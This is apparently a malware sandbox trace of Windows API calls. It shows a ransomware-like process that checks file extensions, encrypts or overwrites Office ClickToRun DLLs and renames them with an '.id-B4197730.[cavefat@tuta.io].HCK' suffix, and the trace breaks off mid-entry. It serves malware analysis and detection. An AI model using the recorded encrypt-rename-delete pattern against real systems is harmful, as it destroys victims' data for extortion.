[0160.626] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.626] lstrlenW (lpString=".xls") returned 4 [0160.626] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.626] lstrlenW (lpString=".xlsx") returned 5 [0160.626] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0160.626] lstrlenW (lpString=".ppt") returned 4 [0160.626] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0160.626] lstrlenW (lpString=".zip") returned 4 [0160.626] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.626] lstrlenW (lpString=".rar") returned 4 [0160.626] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.626] lstrlenW (lpString=".bz2") returned 4 [0160.626] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.626] lstrlenW (lpString=".7z") returned 3 [0160.626] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0160.626] lstrlenW (lpString=".dbf") returned 4 [0160.626] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0160.626] lstrlenW (lpString=".1cd") returned 4 [0160.626] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0160.627] lstrlenW (lpString=".jpg") returned 4 [0160.627] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0160.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0160.627] lstrlenW (lpString=".doc") returned 4 [0160.627] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.627] lstrlenW (lpString=".docx") returned 5 [0160.627] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0160.627] lstrlenW (lpString=".pdf") returned 4 [0160.627] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.627] lstrlenW (lpString=".xls") returned 4 [0160.627] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.627] lstrlenW (lpString=".xlsx") returned 5 [0160.627] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0160.627] lstrlenW (lpString=".ppt") returned 4 [0160.627] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0160.627] lstrlenW (lpString=".zip") returned 4 [0160.627] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.627] lstrlenW (lpString=".rar") returned 4 [0160.627] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.627] lstrlenW (lpString=".bz2") returned 4 [0160.627] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.627] lstrlenW (lpString=".7z") returned 3 [0160.627] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0160.627] lstrlenW (lpString=".dbf") returned 4 [0160.627] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0160.627] lstrlenW (lpString=".1cd") returned 4 [0160.627] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0160.627] lstrlenW (lpString=".jpg") returned 4 [0160.627] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.627] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0160.627] lstrlenW (lpString="AppvIsvSubsystems32.dll") returned 23 [0160.627] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0160.628] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=1761448) returned 1 [0160.628] CloseHandle (hObject=0x39c) returned 1 [0160.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll")) returned 0x20 [0160.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0160.628] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 1 [0160.628] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0160.629] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc64 | out: lpNewFilePointer=0x0) returned 1 [0160.629] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc24 | out: lpNewFilePointer=0x0) returned 1 [0160.629] ReadFile (in: hFile=0x39c, lpBuffer=0x34d1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25cfc30, lpOverlapped=0x0 | out: lpBuffer=0x34d1058*, lpNumberOfBytesRead=0x25cfc30*=0x40000, lpOverlapped=0x0) returned 1 [0160.631] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc24 | out: lpNewFilePointer=0x0) returned 1 [0160.631] ReadFile (in: hFile=0x39c, lpBuffer=0x3511058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3511058*, lpNumberOfBytesRead=0x25cfc30*=0x40000, lpOverlapped=0x0) returned 1 [0160.634] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x25cfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.634] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc24 | out: lpNewFilePointer=0x0) returned 1 [0160.634] ReadFile (in: hFile=0x39c, lpBuffer=0x3551058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3551058*, lpNumberOfBytesRead=0x25cfc30*=0x40000, lpOverlapped=0x0) returned 1 [0160.650] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.650] WriteFile (in: hFile=0x39c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x25cfca8, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfca8*=0xc011a, lpOverlapped=0x0) returned 1 [0161.121] SetEndOfFile (hFile=0x39c) returned 1 [0161.121] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40000) returned 0x3e46038 [0161.121] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc74 | out: lpNewFilePointer=0x0) returned 1 [0161.121] WriteFile (in: hFile=0x39c, lpBuffer=0x3e46038*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x25cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e46038*, lpNumberOfBytesWritten=0x25cfc80*=0x40000, lpOverlapped=0x0) returned 1 [0161.122] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc74 | out: lpNewFilePointer=0x0) returned 1 [0161.122] WriteFile (in: hFile=0x39c, lpBuffer=0x3e46038*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x25cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e46038*, lpNumberOfBytesWritten=0x25cfc80*=0x40000, lpOverlapped=0x0) returned 1 [0161.124] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc74 | out: lpNewFilePointer=0x0) returned 1 [0161.124] WriteFile (in: hFile=0x39c, lpBuffer=0x3e46038*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x25cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e46038*, lpNumberOfBytesWritten=0x25cfc80*=0x40000, lpOverlapped=0x0) returned 1 [0161.125] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x3e46038 | out: hHeap=0x6b0000) returned 1 [0161.126] CloseHandle (hObject=0x39c) returned 1 [0161.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0161.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0161.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0161.422] lstrlenW (lpString=".doc") returned 4 [0161.422] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.422] lstrlenW (lpString=".docx") returned 5 [0161.422] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0161.423] lstrlenW (lpString=".pdf") returned 4 [0161.423] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.423] lstrlenW (lpString=".xls") returned 4 [0161.423] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.423] lstrlenW (lpString=".xlsx") returned 5 [0161.423] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0161.423] lstrlenW (lpString=".ppt") returned 4 [0161.423] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0161.423] lstrlenW (lpString=".zip") returned 4 [0161.423] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.423] lstrlenW (lpString=".rar") returned 4 [0161.423] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.423] lstrlenW (lpString=".bz2") returned 4 [0161.423] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.423] lstrlenW (lpString=".7z") returned 3 [0161.423] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0161.423] lstrlenW (lpString=".dbf") returned 4 [0161.423] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0161.423] lstrlenW (lpString=".1cd") returned 4 [0161.423] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0161.423] lstrlenW (lpString=".jpg") returned 4 [0161.423] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0161.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0161.441] lstrlenW (lpString=".doc") returned 4 [0161.441] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.441] lstrlenW (lpString=".docx") returned 5 [0161.441] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0161.441] lstrlenW (lpString=".pdf") returned 4 [0161.441] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.441] lstrlenW (lpString=".xls") returned 4 [0161.441] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.441] lstrlenW (lpString=".xlsx") returned 5 [0161.441] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0161.441] lstrlenW (lpString=".ppt") returned 4 [0161.441] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0161.441] lstrlenW (lpString=".zip") returned 4 [0161.441] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.441] lstrlenW (lpString=".rar") returned 4 [0161.441] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.441] lstrlenW (lpString=".bz2") returned 4 [0161.441] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.441] lstrlenW (lpString=".7z") returned 3 [0161.441] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0161.441] lstrlenW (lpString=".dbf") returned 4 [0161.441] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0161.441] lstrlenW (lpString=".1cd") returned 4 [0161.441] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0161.441] lstrlenW (lpString=".jpg") returned 4 [0161.441] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.441] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0161.441] lstrlenW (lpString="AppVPolicy.dll") returned 14 [0161.441] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0161.442] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=1295576) returned 1 [0161.442] CloseHandle (hObject=0x39c) returned 1 [0161.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll")) returned 0x20 [0161.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0161.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0161.442] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.442] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0161.442] GetLastError () returned 0x0 [0161.442] ReadFile (in: hFile=0x39c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0161.463] WriteFile (in: hFile=0x370, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0161.475] ReadFile (in: hFile=0x39c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x3c4e8, lpOverlapped=0x0) returned 1 [0161.484] WriteFile (in: hFile=0x370, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x3c4f0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x3c4f0, lpOverlapped=0x0) returned 1 [0161.919] ReadFile (in: hFile=0x39c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0161.919] WriteFile (in: hFile=0x370, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xf0, lpOverlapped=0x0) returned 1 [0161.920] SetEndOfFile (hFile=0x370) returned 1 [0161.920] CloseHandle (hObject=0x370) returned 1 [0161.938] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.938] SetEndOfFile (hFile=0x39c) returned 1 [0161.941] CloseHandle (hObject=0x39c) returned 1 [0161.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0161.941] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll")) returned 1 [0161.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0161.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0161.941] lstrlenW (lpString=".doc") returned 4 [0161.941] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.941] lstrlenW (lpString=".docx") returned 5 [0161.941] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0161.941] lstrlenW (lpString=".pdf") returned 4 [0161.941] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.941] lstrlenW (lpString=".xls") returned 4 [0161.941] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.941] lstrlenW (lpString=".xlsx") returned 5 [0161.941] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0161.941] lstrlenW (lpString=".ppt") returned 4 [0161.941] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0161.941] lstrlenW (lpString=".zip") returned 4 [0161.941] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.941] lstrlenW (lpString=".rar") returned 4 [0161.941] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.942] lstrlenW (lpString=".bz2") returned 4 [0161.942] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.942] lstrlenW (lpString=".7z") returned 3 [0161.942] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0161.942] lstrlenW (lpString=".dbf") returned 4 [0161.942] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0161.942] lstrlenW (lpString=".1cd") returned 4 [0161.942] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0161.942] lstrlenW (lpString=".jpg") returned 4 [0161.942] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0161.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0161.942] lstrlenW (lpString=".doc") returned 4 [0161.942] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.942] lstrlenW (lpString=".docx") returned 5 [0161.942] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0161.942] lstrlenW (lpString=".pdf") returned 4 [0161.942] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.942] lstrlenW (lpString=".xls") returned 4 [0161.942] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.942] lstrlenW (lpString=".xlsx") returned 5 [0161.942] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0161.942] lstrlenW (lpString=".ppt") returned 4 [0161.942] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0161.942] lstrlenW (lpString=".zip") returned 4 [0161.942] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.942] lstrlenW (lpString=".rar") returned 4 [0161.942] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.942] lstrlenW (lpString=".bz2") returned 4 [0161.942] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.942] lstrlenW (lpString=".7z") returned 3 [0161.942] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0161.942] lstrlenW (lpString=".dbf") returned 4 [0161.942] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0161.942] lstrlenW (lpString=".1cd") returned 4 [0161.942] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0161.942] lstrlenW (lpString=".jpg") returned 4 [0161.942] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.942] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0161.942] lstrlenW (lpString="C2R32.dll") returned 9 [0161.942] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0161.943] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=820416) returned 1 [0161.943] CloseHandle (hObject=0x39c) returned 1 [0161.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 0x20 [0161.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0161.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0161.943] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.943] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0161.943] GetLastError () returned 0x0 [0161.943] ReadFile (in: hFile=0x39c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0xc84c0, lpOverlapped=0x0) returned 1 [0162.209] WriteFile (in: hFile=0x370, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xc84d0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xc84d0, lpOverlapped=0x0) returned 1 [0162.230] ReadFile (in: hFile=0x39c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, 